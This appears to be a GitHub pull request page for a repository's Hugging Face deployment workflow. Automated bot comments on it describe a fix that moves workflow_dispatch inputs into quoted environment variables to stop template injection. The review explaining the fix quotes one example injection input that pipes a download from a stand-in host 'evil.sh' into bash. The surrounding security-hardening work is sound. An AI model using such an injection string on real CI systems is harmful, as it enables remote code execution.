[hf-security-analysis]

Automated hardening of the workflow files flagged on #1376.

Targets fix-deploy-workflow-version. Files changed, and what changed them:

• .github/workflows/deploy-hf-env.yml — injection

Fixed by this PR:

• HIGH template-injection (zizmor) — .github/workflows/deploy-hf-env.yml:78
• HIGH template-injection (zizmor) — .github/workflows/deploy-hf-env.yml:79
• HIGH template-injection (zizmor) — .github/workflows/deploy-hf-env.yml:82
• HIGH template-injection (zizmor) — .github/workflows/deploy-hf-env.yml:88
• HIGH template-injection (zizmor) — .github/workflows/deploy-hf-env.yml:92

This does not fix everything. 1 further finding(s) (1 medium) need a decision this bot should not make for you. They are in the security channel with their locations — deliberately not repeated here, since this repository may be public and they are not fixed yet.

Permissions

.github/workflows/deploy-hf-env.yml

job	granted	why
deploy	contents: read	actions/checkout needs contents: read; the deploy step runs scripts/prepare_hf_deployment.sh (not visible here) but authenticates to Hugging Face via the HF_TOKEN secret, not the GITHUB_TOKEN, so reviewers should confirm that script makes no GitHub API calls.

Anything not listed above keeps the permissions it had. To measure a job this could not read, add GitHubSecurityLab/actions-permissions/monitor to it and run the workflow — it reports the minimum the run actually used.

Pinning changes come from pinact and are mechanical. Any other change was generated by Claude — read it before merging.

---

Note

Low Risk
CI-only change that preserves deploy behavior while reducing injection risk from workflow inputs.

Overview
Hardens the Deploy HF Environments workflow against GitHub Actions template injection on workflow_dispatch inputs.

The deploy step now maps hf_namespace, collection_namespace, private, skip_collection, and dry_run into job env variables and passes them to scripts/prepare_hf_deployment.sh via normal shell expansion ($HF_NAMESPACE_INPUT, etc.) instead of embedding ${{ github.event.inputs.* }} directly in the run script. Behavior of the deploy command (flags, env list, dry-run) is unchanged; only how inputs reach the shell is safer.

^{Reviewed by Cursor Bugbot for commit e6222db. Bugbot is set up for automated code reviews on this repo. Configure here.}

[bot-ci-comment]

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.

[cursor]

Alignment Review Report

Automated Checks

• Lint: N/A for this diff — the diff touches only .github/workflows/deploy-hf-env.yml (YAML), which ruff/usort do not lint. Running the repo-wide lint hook does show pre-existing formatting drift (58 files, e.g. src/openenv/core/harness/README.md, envs/wildfire_env/**), but none of it is introduced by this PR — confirmed by diffing against the pre-PR commit. Nothing to fix here.
• Debug code: CLEAN for this diff. The repo-wide debug-code hook flags pre-existing print()/TODO occurrences elsewhere in src/openenv/core/... and example envs, but none are touched by this PR's single-file change.

Open RFCs Context

Scanned rfcs/000–012. Open RFCs (In Review: 000, 001, 002, 003, 005, 006, 008, 012; Draft: 010, 011) all concern core abstractions, MCP, rubrics, harnesses, auto-validation, world modeling, and catalog discovery — none touch CI/CD workflow security or the HF deployment pipeline. No RFC overlaps with this change.

Change Summary

This PR hardens .github/workflows/deploy-hf-env.yml by moving five workflow_dispatch inputs (hf_namespace, collection_namespace, private, skip_collection, dry_run) out of inline ${{ github.event.inputs.* }} interpolation inside the run: shell block and into env:-scoped variables (HF_NAMESPACE_INPUT, COLLECTION_NAMESPACE_INPUT, PRIVATE_INPUT, SKIP_COLLECTION_INPUT, DRY_RUN_INPUT), consumed via quoted "$VAR" shell references. This mirrors the existing pattern already used for ENVS_CSV_INPUT/OPENENV_VERSION and is the standard GitHub Actions script-injection mitigation (untrusted ${{ }} expansion happens before the shell parses the script, so a crafted input like "; curl evil.sh | bash # could otherwise execute arbitrary commands; env-var indirection + proper quoting closes that off). All resulting shell usages are correctly double-quoted, so no new injection surface is introduced.

Tier 1: Fixes Required

None. The change is minimal, correct, and self-contained.

Non-blocking observation (pre-existing, not introduced by this PR): OPENENV_VERSION (line 72) is declared as an env var but still isn't consumed anywhere in the run: script in either the before or after version of this file — it was already dead going into this PR. Worth a follow-up cleanup, but out of scope here.

Tier 2: Alignment Discussion

Principle Conflicts

None identified. This change doesn't touch the Gym-like API, MCP boundary, reward computation, client/server separation, or any other invariant in INVARIANTS.md/PRINCIPLES.md — it's purely a CI/workflow security hardening fix (classic "bug fix" category per rfcs/README.md, which explicitly doesn't require an RFC).

RFC Conflicts

None identified.

Summary

• 0 mechanical issues to fix
• 0 alignment points for human review
• 0 RFC conflicts to discuss

This is a clean, well-scoped security fix (consistent with the sibling PRs #1138/#1179/#1221/#1242 hardening other workflows). Recommend merging once CI passes.

  

_{Sent by Cursor Automation: Pre-review}